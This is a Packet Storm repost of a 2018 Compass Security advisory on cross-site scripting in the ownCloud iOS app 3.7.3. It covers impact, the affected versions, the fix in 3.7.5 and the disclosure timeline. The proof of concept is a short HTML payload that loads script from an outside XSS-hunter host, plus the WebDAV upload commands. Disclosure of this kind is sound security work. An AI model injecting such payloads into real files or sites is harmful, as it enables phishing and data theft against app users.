what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ownCloud iOS Application 3.7.3 Cross Site Scripting

ownCloud iOS Application 3.7.3 Cross Site Scripting
Posted Aug 15, 2018
Authored by Sylvain Heiniger

ownCloud version 3.7.3 for iOS suffers from a cross site scripting vulnerability.

tags | exploit, xss
systems | ios
SHA-256 | 60a743c516f85803a1928a7f4848da9eaf304718636f0a2239685f689d400f9c

ownCloud iOS Application 3.7.3 Cross Site Scripting

Change Mirror Download
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: ownCloud iOS Application (owncloud.iosapp) [1]
# Vendor: ownCloud Gmbh
# CSNC ID: CSNC-2018-016
# CVE ID: N/A
# Subject: Cross-Site Scripting in ownCloud iOS Application's WebViews
# Risk: Low
# Effect: Remotely exploitable
# Author: Sylvain Heiniger <sylvain.heingier@compass-security.com>
# Date: 14.08.2018
#
#############################################################

Introduction:
-------------
HTML pages will be rendered in a WebView in the ownCloud iOS application.
JavaScript will be executed in this WebView when previewing an HTML file.

The webview is run in a sandbox, so no other data can be read a priori. However, in case the WebView iself were to have a vulnerability, an attacker could access other data of the application. The HTML rendering could also be misused for phishing.

Affected:
---------
Vulnerable:
* ownCloud Version 3.7.3 for iOS

Not vulnerable:
* ownCloud Android Application
* ownCloud Server
* ownCloud Version 3.7.5 for iOS


Technical Description
---------------------
Send an html file to an ownCloud instance, open it in the iOS application, HTML gets interpreted.

$ cat test.html
<html>
<script src="https://hes.xss.ht"></script>
<script>alert("this JavaScript is interpreted!");</script>
</html>
$dave -u admin -p [password] https://[your-instance].owncloud-demo.com/remote.php/webdav/
dave> put test.html
put https://7pswlqfpkn.owncloud-demo.com/remote.php/webdav/test.html (117 bytes) (success)


Workaround / Fix:
-----------------
Since iOS 8 one can use the WKWebView class instead of using UIWebView. Setting the WKPreferences property javaScriptEnabled to false will prevent JavaScript to be run.
This fixed has been implemented in release 3.7.5 [2].


Timeline:
---------
2018-08-14: Advisory publication
2018-07-09: Fix verification
2018-06-19: Release with fix publication
2018-03-16: Initial acknowledgment of the vulnerability
2018-03-14: Contact via HackerOne
2018-03-13: Discovery by Sylvain Heiniger


References:
-----------
[1] https://github.com/owncloud/ios
[2] https://github.com/owncloud/ios/releases/tag/version_3.7.5

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close